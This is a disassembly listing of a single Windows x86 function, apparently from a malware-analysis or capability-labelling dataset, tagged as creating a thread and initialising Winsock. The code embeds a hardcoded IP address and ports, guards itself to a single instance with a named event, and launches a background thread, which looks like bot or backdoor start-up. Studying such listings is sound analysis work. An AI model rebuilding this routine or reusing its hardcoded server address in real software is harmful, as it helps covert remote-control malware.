Function at 0x403740
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x439c20]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x5b0], ax
push 0x206
push 0
lea ecx, [ebp - 0x5ae]
push ecx
call fcn.0041ca90
add esp, 0xc
xor edx, edx
mov word [ebp - 0x7b8], dx
push 0x206
push 0
lea eax, [ebp - 0x7b6]
push eax
call fcn.0041ca90
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.0041ca90
add esp, 0xc
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x3a8], 0
lea eax, [ebp - 0x3a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0x43e480
call fcn.00402220
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jne 0x4039a2
xor ecx, ecx
mov word [ebp - 0x7f8], cx
push 0x3a
push 0
lea edx, [ebp - 0x7f6]
push edx
call fcn.0041ca90
add esp, 0xc
lea eax, [ebp - 0x7f8]
push eax
call fcn.00403ac0
add esp, 4
lea ecx, [ebp - 0x7f8]
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x800], 0x43e628
mov edx, dword [ebp - 0x800]
mov dword [ebp - 0x804], edx
mov eax, dword [ebp - 0x7fc]
mov cx, word [eax]
mov word [ebp - 0x806], cx
mov edx, dword [ebp - 0x800]
mov ax, word [ebp - 0x806]
mov word [edx], ax
mov ecx, dword [ebp - 0x7fc]
add ecx, 2
mov dword [ebp - 0x7fc], ecx
mov edx, dword [ebp - 0x800]
add edx, 2
mov dword [ebp - 0x800], edx
cmp word [ebp - 0x806], 0
jne 0x403850
push str.218.54.31.165
push 0x43e484
call fcn.00406820
add esp, 8
mov eax, 0x51
mov word [0x43e504], ax
push str.AAAA
push 0x43e506
call fcn.00406800
add esp, 8
push 0x434c44
push 0x43e526
call fcn.00406820
add esp, 8
mov ecx, 0x2b66
mov word [0x43e5a6], cx
lea edx, [ebp - 0x7f8]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], 0x43e608
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x80c]
mov dx, word [ecx]
mov word [ebp - 0x816], dx
mov eax, dword [ebp - 0x810]
mov cx, word [ebp - 0x816]
mov word [eax], cx
mov edx, dword [ebp - 0x80c]
add edx, 2
mov dword [ebp - 0x80c], edx
mov eax, dword [ebp - 0x810]
add eax, 2
mov dword [ebp - 0x810], eax
cmp word [ebp - 0x816], 0
jne 0x403907
mov ecx, 0x43e608
add ecx, 0xfffffffe
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x81c]
mov ax, word [edx + 2]
mov word [ebp - 0x81e], ax
add dword [ebp - 0x81c], 2
cmp word [ebp - 0x81e], 0
jne 0x40395d
mov edi, dword [ebp - 0x81c]
mov ecx, dword [0x434c60]
mov dword [edi], ecx
mov dx, word [0x434c64]
mov word [edi + 4], dx
mov eax, dword [0x43afb8]
mov dword [0x43e648], eax
call fcn.00403bd0
lea ecx, [ebp - 0x5b0]
push ecx
call fcn.00403ac0
add esp, 4
lea edx, [ebp - 0x5b0]
mov dword [ebp - 0x824], edx
mov dword [ebp - 0x828], 0x43e8b8
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x824]
mov dx, word [ecx]
mov word [ebp - 0x82e], dx
mov eax, dword [ebp - 0x828]
mov cx, word [ebp - 0x82e]
mov word [eax], cx
mov edx, dword [ebp - 0x824]
add edx, 2
mov dword [ebp - 0x824], edx
mov eax, dword [ebp - 0x828]
add eax, 2
mov dword [ebp - 0x828], eax
cmp word [ebp - 0x82e], 0
jne 0x4039d8
push 0x43e8b8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
je 0x403a52
mov ecx, dword [ebp - 0x3a8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x403aae
push 0x43e8b8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
jne 0x403a76
xor eax, eax
jmp 0x403aae
push 0x43e938
call fcn.00403f60
add esp, 4
mov edx, dword [0x43e64c]
mov dword [0x43e940], edx
push 0
push 0
push 0
push 0x4047a0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x43b038], eax
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041a6ad
mov esp, ebp
pop ebp
ret